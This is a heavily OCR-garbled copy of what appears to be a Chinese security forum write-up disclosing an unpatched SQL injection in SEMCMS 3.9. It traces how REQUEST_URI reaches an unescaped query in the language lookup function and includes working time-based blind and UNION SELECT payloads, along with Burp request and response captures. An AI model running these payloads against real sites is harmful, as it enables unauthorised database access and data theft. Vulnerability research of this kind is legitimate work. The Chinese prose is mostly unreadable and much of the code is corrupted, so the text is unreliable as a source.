Bit or BXS? ic—RENNFiEEARZ
SEMCMS3.9 (0Oday) - TOOIs.Net

Ox00 BUSIRIZIRAY SQL IEATT TR WEB Fees2lihg? 0x01 imi@ o]

FF index.php, &EIT include once, & 101999 IR Inc ...

0x00 BIS

RIFAREY SQL IENTGT0# WEB BSess/imig?
0x01 imEDHT

$J7F index.php, &ZEIT include once, E

9 index. php k4 E web_inc. php k4 E readme. heihu kd E db_conn. php &3 E

1 B<?php
2 Tinclude_once 'Include/web inc.phpls

ERiF Include/web _inc.php
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E<?php
ob_start();

OO b= W N =

include once 'db conn.php';
include once 'contorl.php';
IR TE 2R IE— N E—T.
Db _conn.php:
T | e N | TE RS | L S L () ) | L L LR R
] B index. php L]E web_inc. phpﬂ‘n readme. heihu k4| B db_conn. php E3 ‘E contorl. php L:IE SEMCMS_Top_include. php L:IE inc. php L]E function.
) 1 %<?php
2 //CopyRight sem-cms.com A JG2015 (i . fiZE: [gq:1181698019]) HMEIFK)
3 /> B R R AR+ /
4 ini_set('displayierrors','off');
5 header ("Content-type: text/html; charset=utf-8");
6 $url = "localhost";//iEHe4PE 2 ik
7 Suser = "root"; //WKZ
8 $password = "root";//EHY
9 $dbdata="SEMCMS"; / /¥ ¥ FE £ FR
, 10
11 $db_conn=new mysqgli (Surl, Suser, Spassword, $dbdata) ;
12 $db_conn->set charset ('utf8');
l 13 8 if(mysqli_connect_error()){
14
F 15 echo 'Could not connect to database.';
16
¢ 17 exit;
18 -}
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EXNT—EHIEEREEE, $db conn ZEHR mysqli BISLHI, FfTBRE—T contorl.php

I index. php &3 . web_inc. php &3 . readme. heihu 3 . db_conn. php k&3 E contorl. php E4 I. SEMCMS_Top_include. php &3 . inc. php &4 . functio

1 EB<?php
2 | include_once "class.phpmailer.php"; | PHPmailer FaF R FRROPHP T 2%
3 Y ERIPACES
4
5 | if (isset($ GET)) {SGetArray—$ GET;)else{SGetArray—'';} //get |
6
7| foreach ($GetArray as $value){ //get
8|
9 verify str($value);
10
11
12
19 ffunction inject check sql($sql_str) {
14
19 return preg match (' /select|insert|=|%|<|between|update|\'|\*|unionlinto|load fileloutfile/i', $sql_str);
1q r}
17
19 ffunction verify str($str) {
1
2q = if (inject_check sql ($str)) {
2]
2 exit('Sorry,You do this is wrong! (.-.)"');
23 }
24
29 return S$str;
29 1}
o7
28
29 |/ /B IEAREYS

30 Tfunction SendEmail ($smtpserver, $smtpuser, $smtppass, $smtpusermail, $smtpserverport, $smtptoemail, $mailtitle,$mailco


https://www.t00ls.net/attachments/month_2006/2006272021f53ef6d9e546fb5c.png
https://www.t00ls.net/attachments/month_2006/20062720229b813980e04ae8a2.png

EXT—LHREER, 5-11 T#T2BE/ GET iskidiE.
THR—ERFAZ EEF Include/web inc.php T444F TEI—EHRE.

g B index. php £3| [ web_inc. php E I. readme. heihu E4 B db_conn. php £3 B contorl. php £4 B SEMCMS Top include. php £ B inc. php

~|| 42 |$SERVER NAME=$ SERVER["HTTP HOST"];

43 | $webmu=str_replace ("\\","/",$ SERVER['DOCUMENT ROOT']);

44 $lastchar=substr ($webmu, -1);

45 |if (Slastchar=="/") {Swebmu=rtrim($Swebmu,"/");}

46 |$weballmu=str_replace ("\\","/",getcwd()); //Ab¥E windows FMIE{AE

47 | $webmuu—explode ("/", S$webmu) ;

48 | Sweballmuu=explode ("/", S$weballmu) ;

49 | $webmu=str_replace ("/".$webmuu[1]."/", "/".$weballmuu[l]."/", $webmu); // e -NHIE aliyun H

50 |S$weburldir=str_replace ($webmu, "", Sweballmu);

51 | $weburldir=str_replace ( "/Templete/".$webTemplate."/Include","", $weburldir)."/";
52 |if (Sweburldir=="") {$weburldir="/";}

53 |Sweb urlm=Shttp."://". SSERVER NAME.Sweburldir;

54 |$web urls=$ SERVER["REQUEST URI"]; //3KHU url B{4%

55 |S$web_urls=explode("/", S$web urls);

56 Surlml=web_ language ml (@S$Sweb urls[1],@Sweb urls[2],$db conn) ; // KEHMS.
5

58 |

59 BHif (trim($urlml['url link'])==""){

61 Sweb_url=Sweb_urlm.Surlml['url link'];
62 Sweb_url meate=$web_urlm;

63 $Language=$urlml['ID'];

65 | }lelse{

67 §  if (strpos($web_urlm,"/".$urlml['url link']."/") == false){ //F T HTIM#IE
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AT web_language_ml F&? BHfIRHE—T.

332 Dfunction web language ml ($web urlsl,$web urls2, $db conn) (

333

334 $que1y*$db7comriquexy(”:mlﬁ,\':l * from sc_language where language url-'$web_urlsl' or language url-'§web urls2' and language open-1");
335

336

337 if (mysqli_num rows ($query)>0) {

338

339 $query=$db_conn->query ("select * from sc_langt here language_url='$web_urlsl' or language_url='§web_urls2' and language_open=1");
340 $row=mysqli_fetch_assoc ($query) ;

341 $Urlink=array('url_link'=>$row['language_url'l,'url_ml'=>" "ID'=>$row['ID']);

342

343 telse{

344

345 $query=$db_conn->query ("select * from sc_language where language mulu=1 and language open=1");
346 $row-mysqli_fetch_assoc ($query) ;

347 SUrlink-array('url link'=>"",'url ml'=>"./", 'ID'=>$row['ID']);

348

349 )

350

351 return $Urlink;

P - )

KX T—R SELECT EHI8RY SQL {56, HEHSE 1 282, HNE—ESHEIXER.

W

4 |sweb urls—$ SERVER["REQUEST URI"]; //3KHX url F&f%

5 |Sweb urls=explode("/", $web urls);
6 |Surlml=web language ml (@Sweb urls[1],@$web urls[2],$db conn); // NSGHIIFEL

g an

ENBEFF4ET, $ SERVER[REQUEST URI] 2RSKEY url B9 (18// 184 / BRYM)
=]

< C Q D) i}( £x http://www.audit.com/SEMCMS3.9

[i7 e i @MDSﬁﬁréﬁg@za [7Z] ToOLS | {REsk&RE - [Z]| @t U0 BUUCTF () g ( °- )oo | @ Freek
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string(l6)|”/SEMCMSB.9/1.php"

E D:\phpstudy_pro\WWW\Audit.com\SEMCMS3.9\1.php - Sublime Text
XAH(F) 4mi8(E) EIF(S) E() BEE(V) %2I(G) TE(T) IBE(P) EIXI(N) #E(H)

OPEN FILES 9.File.php X Windows 7 x64.vmx % 1.php — D\..\SEMCMS3.9

<?php

echo '<pre>';
1.php — D\..\SEMCMS3.9 var_dump($_SERVER[ 'REQUEST_URY']);

XARRIERELE? AtASF4E SQL IENRIRIEIE?

HAJERRNE, A% GET i53KET, RISENNSSEAMSEIE, BBARE REQUEST URI
SR, WS EHNABHEHIREET.

LIS

< C 0O D % & http://www.audit.com/SEMCMS3.9/1.php? XXXXXXX
B =5EmE © MDs:mEmEamEr 7] ToOLS |[EEsk&R - [Z] @ U BUUCTF () BB ( °- °)Dr = FreeBufEEXR
string(24) ”/SEMCMS3. 9/1. php? XXXXXXX”
—
ED:\phpstudy_pro\WWW\Audit.com\SEMCMS3.9\1 .php - Sublime Text

SAH(F) 4REB(E) 18R (S) EH() BE (V) %EI(G) TE() HE(P) EiEIA(N) FHE(H)
OPEN FILES 9.File.php X Windows 7 x64.vmx % 1.php — D\..\SEMCMS3.9 X  4php

<?php
echo '<pre>';

1.php — D\..\SEMCMS3.9 var_dump($_SERVER[ 'REQUEST_URI']);

ErEFAETREE R/ o8, BEEEZSINERTRY SQLIEEH, MMsI% SQLENRE
. {FAJgE=E, NINIARETE Y£R8 GET I5?
BAIBFMEE, RTIET GET &Y VALUE (B!
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5 if (isset($ GET)) {$GetArray=$ GET; }else{SGetArray="";} //get
6

/7 Hforeach ($GetArray as Svalue)|{ //get

8

9 verify str(Svalue);

10

NI |

12

13 Hfunetion iniect check sal (Ssal str) |

IRIAIEIE? IKIEEXIIE.

BRIt 4 REQUEST_URI FRiBIBOEARSH url BERSMIZSML, ELANFRIEN %0a (31TRF) #RE
HASRIEE., FAIENMIFS $_GET fF—TEEi, WE:

< C O 9O Y b hitp://www.auditcom/SEMCMS3.9/1. php? XXXXXX{%0a |

B EEmzE © MDS@#EL@Ey  [7]T00LS | ®EkARE - [Z]@EFPeN U BUU " yor | g FreeBufEEtNZ4

string(27) “/SEMCMS3. 9/1. php?XXXXXX
array (1) {
[ XXXXXX)

string(0) "~

}

B D:\phpstudy_pro\WWW\Audit.com\SEMCMS3.9\1.php - Sublime Text
SA4H(F) 4mAE(E) ISEIR(S) E(l) BEE(V) #2(G) TE(T) MB(P) EiEm(N) #E(H)
OPEN FILES 9.File.php X Windows 7 x64.vmx 1.php — D\..\SEMCMS3.9 X  4php

<?php

echo '<pre>';
1.php — D\..\SEMCMS3.9 va r‘_dump£$_SERVER[ 'REQUEST_URI'], $_GET2;

A BEIX ARSI, T YA’EH BXe?
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BAIEEIE %20 A=, BIIBEESSBITSENENETFOIREL. BRIEMEEER.
m HTTP i&3K GET 2AFIFLHIMK urlencode RSIIAIFFRTEERY, GNE:

| GET /index.php | HTTP/1.1 A 1 [HTTP/1.1 400 Bad Request |
! Accept: text/html, application/xhtml+xml, image/jxr, */* 2 Date: Sat, I7 Jun 2020 L11:17:03 GMT
i Accept-Language: zh-Hans-CN, zh-Hans;qg=0.5 3 Server: Apache/2.4.39 (Winé4) OpenSSL/Ll.l1.1b mod_fcgld/i.ﬁ.ga
! User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4:; Trident/7.0: mod_log_rotate/l1.02
rv:11.0) like Gecko 4 Last-Modified: Tus, 03 Sep 2019 07:13:40 GMT
i Accept-Encoding: gzip, deflate 5 ETag: "8ac-59la0d3eeflOO"

5 Host: 192.1€8.1.4 & Accept-Ranges: bytes
! Pragma: no-cache 7 Content-Length: 2220
Connection: close £ Connection: close

% Content-Type: text/html

AFFE HTTP 1IN, EiFEIRE 400 8R! XERTLURE] Mysql r [2518]--[Z18] R9ERTS

T # BAN #=!

NREFERFET BT (/) 2R SQLIEGH, FrLL /**/ XIMEREDHEH BAN =7
RE—Fh# 1R, RER, HTTP BEREARTIT, WE:

J Raw | Headers | Hex | _] Raw | Headers | Hex | HTML | Render |
1 GET /index.php?# HTTP/L.1l [a 1EHTTP/1.1 400 Bad Request
2 Accept: text/html, application/xhtml4xml, image/jxr, */* 2 Date: Sat, 27 Jun 2020 11:19:55 GMT
3 Accept-Language: zh-Hans-CIN, zh-Hans;q=0.5 3 Server: Apache/2.4.39 (Winé4) OpenSSL/L.L1.1b mod fegid/Z.
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; Trident/7.0; mod_log rotate/L.02

rv:11.0) like Gecko 4 Last-Modified: Tue, 03 Sep 2019 07:13:40 GMT

BBARIReEETASA KT SQL BET
& Payload: /?'or+if(substr((select+user()),1,1)Iike'r',s|eep(2),1)-'

! Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz - [m] X
Burp Project Intruder Repeater Window Help

[ Dashboard ITarget Proxy | Intruder T Repeater I Sequencer T Decoder T Comparer T Extender I Project options T User options ]



https://www.t00ls.net/attachments/month_2006/200627202490243d246ba50f75.png
https://www.t00ls.net/attachments/month_2006/20062720255b8bea9421e28d31.png
https://www.t00ls.net/attachments/month_2006/200627202555cc96b4294fc965.png

[ Send J Cancel [< v J[ > vJ Target: http://192.168.1.4 /@

Request Response
Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]
1 GET|/?'or+if (substr ((select+user()),l,1)like'r',sleep(2),1)-" I A 1 HTTP/1l.l 200 OK A
HTTF/L.1 r Date: Sat, 27 Jun Z0Z0 09:27:04 GHMT
2 Accept: text/html, application/xhtml+xml, image/jxr, */* 5 Server: Apache/2.4.39 (Wing4) OpenSSL/L1.l.1lb mod_fcgid/: .3.%a
3 Accept-Language: zh-Hans-CN, zh-Hans;q=0.5 mod_log rotate/l1.0Z
4

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; Trident/7.0; X—Pgwergd—By: PHP/7.3.4

rv:11.0) like Gecko Connection: close

Accept-Encoding: gzip, deflate Content-Type: text/html; charset=utf-8
Host: 182.168.1.4 7 Content-Length: 15881

Pragma: no-cache
Connection: close

1o o

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>Mobile Phone Case,Leather case</title>

<meta content="Mobile Phone Case,Leather case" name="keywords">

<meta content="Mobile Phone Case,Leather case, Ipad case

series,Blustooth,Phone accessories" name="description'">

<link rel="shortcut icon" href="Images/default/favicon.ico" />

<link href="http://192.168.1.4/Templete/default/Css/style.css™

rel="stylesheet" type="text/css" />

18 <script src="
http://192.168.1.4/Templete/default/Js/Jquery-1.7.2.min.js" type=
"text/javascript"></script>

19 <script src="

http://192.168.1.4/Templete/default/Js/jquery. SuperSlide.js” type

=

owm

TR

- ="text/javascript"></script>
L | 20 <scrint sres"htrn:// 192 1FR. 1.4/ Temnlere/defanln/Is/nublic. 98" L
® < + > Type a search ferm 0 matches ® < + > Type a search term 0 matches

Done 16,127 bytesll 2,049 millis

AZRIET where Z4h, HHASESN -, £ MySQL IRENZERNER. FTIAXE
AL TIEQAE.

XEpTZeREERS SQL iEA.

0x02 FNETse

NINIARZi5E] HTTP Y AIARNIG, HESCrmiER) HTTP YAIIEEFRY, T2HT
Apache MIEREBEFAIL T, TEEANIF—T Nginx FUEkEER. ~

naw ) isausis | iea I e
GET|/# HTTP/1.1 I 1 HTTR/1.] 200 9K
Accept: text/html, application/xhtml+xml, image/jxr, */* | Server: nginx/l.15.11

Date: Sat, 27 Jun Z0Z0 11:4Z:48 GMT
Content-Type: text/htwl; charset=utf-8
Connection: close

¥-Powered-By: PHP/7.3.4
Content-Length: 92

Accept-Language: zh-Hans-CN, zh-Hans:;qg=0.5

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; Trident/7.0;
rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: 192.1€8.1.4

PSR

[P

wn

P oo
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AL # + ToED TSIEIRIATT LALE AR
RIEFA M ELERR PHP (VIR

333 Dfunction web language ml ($web urlsl,$web urls2,$db_conn){

334

335 $query=$db_conn->query ("select * from sc_language where language url='$web_urlsl' or language url='$web_urls2' and language open=1");
336

33

338 if (mysqli_num_rows (Squery)>0) {

339

340 $query-$db_conn->query ("select * from sc_language where language_url-'$web_urlsl' or language url-'$web_urls2' and language_open-1");
341 $row-mysqli_fetch_assoc ($query) ;

342

343 $Ulllnk:array4'uLlilu‘k':>$Luw\ "language_url']|'url ml'=>"../", 'ID'=>$row['ID']);

344

345 Jelse(

346

347 $query-$db_conn->query ("select * from sc_language where language mulu d  lang pen=1")
348 $row-mysqli_fetch assoc ($query) ;

349 $Urlink-array('url link'=>"", 'url ml'=>"./",'ID'=>$row['ID']);

350

351 }

352 |

354 |)

35

EEHH
$Urlink=array('url_link'=>$row['language url'],'url ml'=>"../",'ID'=>$row['ID']);
BiREIZRRELE url_link TR,
#AEFAEZE] web_inc.php 3714

— T a s eesp e [ R R

56 |Surlml=web language ml (@$web urls[1],@$web urls[2],$db conn); // NSGAW]S .
57 ||

MR Surlml #rE SQLIEANERE, HITBIRIEERE — MEERL T

o

AR
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oo
67 g if (strpos($web urlm,"/".$urlml['url link']."/") !== false){ //MH T & LKL
68 Sweb url=$web urlm;

69 $Language=$urlml['ID"'];

70 lelse{

71 Sweb url=$web urlm.Surlml['url link']. W we

72 $Language=$urlml['ID"'];

N }

74 $web_url meate=str replace("/".$urlml['url link']."/", "/", $web urlm);

75

76

77

78 1}

¥ SQL iEEATRA url_link ##45 web_url_meate TE, 1¥7, FfiIJEZ index.php FH—T
TS,

1 B<?php
include once 'Include/web inc.php':;

o

include once 'Templete/default/Include/Function.php"';
Sfile url="";
include once 'Templete/default/Include/default.php';

2

— o) Ul e W

RHE—T.

L] | 4 N O R S | L 7 1 (S | | 1 (e o g

E B index. php 3 B web_inc. php £3 B readne. heihu £3 B db_conn. pho E3 B contorl. php £3 I8 SEMMS Top_include. php E3 B inc. php 3 B function. php E3 [ derault. pho B3
~ 1 <!DOCTYPE html>

2 f<html>

3 <head>

4 T(mcta charsct="utf-8n>
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5 |<title><?php echo $indextitle;?></title>
6 |<meta content="<?php echo $tag indexkey;?>" name-"keywords">
| |<meta content="<?php echo $tag_indexdes;?>" name="description">

<link rel="shor oottt g Swebico;?>" />

10 |<script

11 |<script src

<2php echo
</head>

<body>
<?php echo $webgoogle; ?>

P, XHMRESEME— FEREIENED

<link href="<2?phy echo $WeBLUFIMeate; >>Tdmplete/<?php echo $webTemplate;?>/Css/style.css" rel-"stylesheet" type-"text/css" />

"<?pHp echo $web url meate;?>Femplete/<?php echo $webTemplate;?>/Js/jquery-1.7.2.min.js" type="text/javascript"></script>
"<?plp echo Sweb url meate;?>Templete/<?php echo $weblemplate;?>/Js/jquery.SuperSlide.js" Lype="text/javascript"></scripl>
12 |<script src="<?phlp echo $web_url_meate;?>Jemplete/<?php echo $webTemplate;?>/Js/public.js" type-"text/javascript"></script>

13 |<script src—"<?php echo $web_url meate;?>Jemplete/<?php echo $webTemplate;?>/Js/show.js" type—"text/javascript"></script>

Payload: ?111" UNION SELECT 1,2,3,user(),5,6,7,8,9#

GET /?111' UNTON SELECT 1,2,3,user()|,5,6,7,8,9% HTTP/1.1
Host: www.audit.com

Cache-Control: max-age=0

Upgrade-Insecure-Reguests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4)
AppleWebKit/537.36 (KHTHL, like Gecko) Chrome/78.0.35904.108
Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;
image/apng, */*;q=0.8,application/signed-exchangs;
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: _ atuve=I%7CIE; scusername=3EE%00%BB%ES%B4A%AE%ESSSFYET;
scuseradmin=Admin; scuserpass=c4ca4238a0b9238I0dcc509a6£7584%h
Connection: close

T

s Wb

S

=0.9, image/webp,

3
v
D l < HTH = ‘ Type a search term 0 matches

0x03 IFRER
{s5F9 BurpSuite &% GET i&5RkE:
Apache TR SQL &iF:

=

<div class="sc_top">
<div class="sc_top_comment'>
<div class="sc_top_conment_l1"»<div class="
sc_top_comment_l_left"></div><div class="sc_top_conment_l right
"><img src="
http://www.audit.com/SEMCHS3 .5/ Images/ default/Emailb. png” align
'absmiddle'> <a href='mailto:servicefsem-cms.com'>
service@sem-cms. com</ax</divs</div>
<div class="ch"></div>
"sc_top_conment_ 2>
<div class="sc top conment 2 left"><a href=
'ht.t.p'f/'www.audlt.com/SE]{C]{S3.><1mg sre="
/www.audit.com/SEMCHS3 .5/ ITmages/ detan, Ogo.png" alt="
semcms" /></a><div class="sc_top_list"></div></div>
<div class="sc_top_conment_ I _right'>
<div class="sc_top_conment_2_right_left"><

form action="
http://www.audit.com/SEMCHS3 'spamh.php"
method="post"><input type="teXt" Name="SEarch" id="search"
class="sc_top_ser 1" placeholder="Enter your keywords" /<
input name="submit" id="submit" type="submit" value="Search"
class="sc_top_ser_2" /></form> </div>

<div class="sc_top_conmsnt_Z right right">
+8& (057&) 88888888/ div>

</div>

@“ l?J \Tl [TJ root 80’ matches

GET /?'or+if(substr((select+user()),1,1)like'r',sleep(2),1)-'

b
v
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! Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard I Target T Prox

I Intruder TRepeatel I Sequencer I Decoder T Comparer T Extender I Project options I User options

Ime

lm] Cancel l <|v J [?J

Request

1 GET|/?'or+if (substr ((select+user()),1,1)like'r',sleep(2),1)—
HTTP/L.1

Accept: text/html, application/xhtml+xml,
Accept-Language: zh-Hans-CN, zh-Hans;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 10.0;
rv:11.0) like Gecko
Accept-Encoding: gzip,
Host: 192.168.1.4
Pragma: no-cache
Connection: close

T

image/jxr, */*

wow

WOWE4; Trident/7.0;

I

deflate

R

0 o

e
v

0 matches

Target: hitp:/192.168.1.4 2 (2)

Response
Raw | Headers | Hex | HTML IRender ]
1 HTTP/l.l 200 OK A

Date: Sat, 27 Jun Z0Z0 09:27:04 GMT
Server: Apache/2.4.39 (Winé4) OpenSSL/Ll.l.lb wod fcgid/2.3.9a
mod_log_rotate/l1.02

4 ¥-Powered-By: PHP/7.3.4
5 Connection: close
Content-Type: text/html; charsst=utf-g

Content-Length: 15881

<!DOCTYPE html>

<html>

<head>

<msta charset="utf-35">

<title>Mobile Phone Case,Leather case</title>

<meta content="Mobile Phone Case,Leather case'" name="keywords">

<meta content="Mobile Phone Case,Leather case,Ipad case

series,Blustooth, Phone accessories" name="description">

<link re Images/default/favicon. ico” />

17 <link href="http://152.16B.1.4/Templete/default/Css/style.css"
rel="stylesheet" type="text/css" />

18 <script src="
http://192.168.1.4/Templete/default/Js/jquery-1.7.2.min. js" type=
"text/javascript"></script>

19 <script sre="
http://192.168.1.4/Templete/default/Js/jquery.SuperSlide.s" type
="text/javascript"></script>

hrrn:/ /162 1AR. 1

< + > Type a sear

&

.4/Temmlere/defauln/Is/nublic. is" L]

@ 0 matches

ch term

16,127 bytes| 2,049 millis
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Nginx FRIBXETEN:
GET /2111' UNION SELECT 1,2,3,user(),5,6,7,8,9# HTTP/1.1

P e e e e e e e e e m———==n
| ]
\ 1 GET /?111' UNION SELECT 1,2,3|user()|,5,6,7,8,9% HTTP/L.1 : I
: 2 Hoslt: www.audft.com _ <div class="sc_top"> :
y 3|Cache—Control: max-age=0 . = <div class="sc_top_conment"> 1
i ¢ Upgrade-Insecurs-Requests: 1 <div class="sc_top_comment_l"><div class=" 1
| © User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) sc_top_comment_1_left"></div><div class="sc_top_comment_1_right
: AppleWebKit/537.36 (KHTHL, like Gecko) Chrome/78.0.35904.108 ">21mg_src=" - - - - -
{ |Satari/537.36 http://www.audit.com/SENCHMS3 .9/ Images/default/Emailb. png” align
i © Accept: 'absmiddle'> <a href='mailto:service@sem-cms.com'>
[ text/html, application/xhtml+xwl, application/xwl;q=0.9, image/webp, service@sem-cms.com</a></div></div>
' image/apng, */*;q=0.8,application/signed-exchanges;v=] <div class="ch"></div>
7 Accept-Encoding: gzip, deflate <div class="sc top conment 27>
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 <div class="sc top conment 2 left"><a href=
Cookie: _ atuve=I%7CIE; scusername=3EE%00%BB%ES%B4A%AE%ESSSFYET; 'ht.t.p'//'www.audlt.com/SE]{C]{S3.;<lmg sro="
scuseradmin=Admin; scuserpass=c4cad4l3Balb9238Z0dcc509ae£7584%h /www.audit.com/SEMCHMS3 . 9/ Thages/ detan Sgo.png” alt="
Connsction: close semems” /></a><div class="sc_top_list"></div></div>
<div class="sc_top_conment_ I _right'>
<div class="sc_top_conmment_Z_right_ left"><
form action="
http://www.audit.com/SEMCHS3 'spamh.php"
method="post"><input type="teXt" Name="SEarch" id="search"
class="sc_top_ser 1" placeholder="Enter your keywords" /<
input name="submit" id="submit" type="submit" value="Search"
class="sc_top_ser_2" /></form> </div> 1
<div class="sc_top_conmsnt_Z right right"> "
L +8& (057&) 88888888/ div> L :
v 3 </div> v !
e . '
D l < H H = ‘ pe a search term 0 matches @ l < H + H > J root 80'matches | 1

0x04 EB
1BEIHET 0day ATRhLFRIEREIAETET!
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